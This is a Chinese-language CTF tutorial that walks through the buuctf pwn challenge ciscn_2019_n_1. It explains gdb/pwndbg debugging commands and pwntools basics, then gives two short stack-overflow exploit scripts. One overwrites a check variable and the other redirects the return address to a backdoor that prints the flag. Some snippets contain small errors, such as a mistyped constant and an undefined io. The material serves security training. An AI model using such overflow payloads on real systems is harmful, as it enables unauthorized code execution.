我们在做Linux平台下的pwn题目的时候,调试是必不可少的一步,在调试的过程中找到漏洞并用pwntools写出攻击脚本。
对于很多新手来说,Linux下的调试,也就是gdb的使用不是很熟悉,今天,我们就通过一道题目来详细学习dbg和pwntools的使用:
题目来自buuctf,pwn方向,ciscn_2019_n_1。
我们在Linux平台下调试的时候,可以使用原生的dbg,但是很多师傅说原生的gdb用起来不是很舒服,所以我就也用的pwndbg插件。
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
gdb 文件名
首先,我们可以到IDA中找到想要下断点的地址,或者直接下载main函数也可以:
这里注意,如果要在地址上下断点,格式为:b *地址
要注意这里的*符号
我们在做题的时候,可以先运行,看看程序大概流程,或者说下了断点之后,要运行到断点
start
:执行到入口点函数(各种main函数)
run
:运行到第一个断点处,如果没有断点,则直接跑完程序
c
(Continue):继续运行
这里还要注意,如果在程序运行中使用start,则将重启程序
我们在调试的时候,经常需要查看寄存器,地址或者查看断点,我们使用i命令:
i b
:查看断点
i $eax
:查看eax寄存器的值
除此之外,我们还能够使用x
来查看指定内存/寄存器:
x/20b $eax
:查看,20字节,以byte形式,eax地址
这里要注意一下附加参数:
我们在调试的时候肯定需要下断点和取消断点操作
b *地址
:在指定地址上下断点
i b
:查看所有断点
d 序号
:去掉指定序号的断点
disable 序号
:禁用断点
enable 序号
:启用断点
disassemble
:例如说:disassemble $rip
:从rip开始反汇编
单步执行:ni
单步步入:si
执行到函数返回:finish
例:set *地址 = 值
可以看到,这里成功修改了内存的值。
我们来通过这道题,看一下这道题:
我们首先来静态分析:
可以看到,这里程序的大致流程是:输出字符串,提示用户输入,用户输入,判断某个地址的值,然后分支进行执行,而且这里有后门函数,这就是非常简单的题目。
我们来通过动态调试看看,我们将断点设置在get函数之前,查看栈上的情况:
这里给出详细的过程:
gdb ciscn_2019_n_1
b *0x400691
run
cat /flag
,方式为:cat /flag
我们只要将var_4覆盖为41348000h即可通过验证,从而执行cat /flag
,但是这里有00,我们无法输入,这时我们就要使用pwntools脚本完成了:
这里来简单介绍一下pwntools的使用:
from pwn import*
:引入pwn库中的函数
io = remote("ip:,port)
:远程连接
payload = b'A'*(0x30 - 4) + p64(0x413480000)
:构造出pyload
io.sendline(payload)
:将构造出的payload发送到服务器
io.interactive()
:用于远程shell交互,由于这里不需要远程交互,这里不用
写出来的脚本:
from pwn import *
#io = remote("node5.buuoj.cn",26117)
payload = b'A'*(0x30 - 4) + p64(0x41348000)
io.recvuntil("number.\n")
io.sendline(payload)
io.interactive()
我们通过python解释器执行:
可以看到我们已经拿到了flag
我们也可以通过栈溢出,直接覆盖返回地址,将rip指向execve(“cat /flag”),直接执行
编写脚本:
from pwn import *
#io = process("./ciscn_2019_n_1")
io = remote("node5.buuoj.cn",29936)
payload = b'A'*0x38 + p64(0x4006BE)
io.sendline(payload)
io.interactive()
至此,gdb的使用和pwntools的使用就讲完了,当然,他们的高级使用远远不止这些,师傅们可以自行探索,如果在题目过程中有不理解的地方,可以私信我,当然,如果文章中有错误,还是希望大家指正,大家一起进步!!!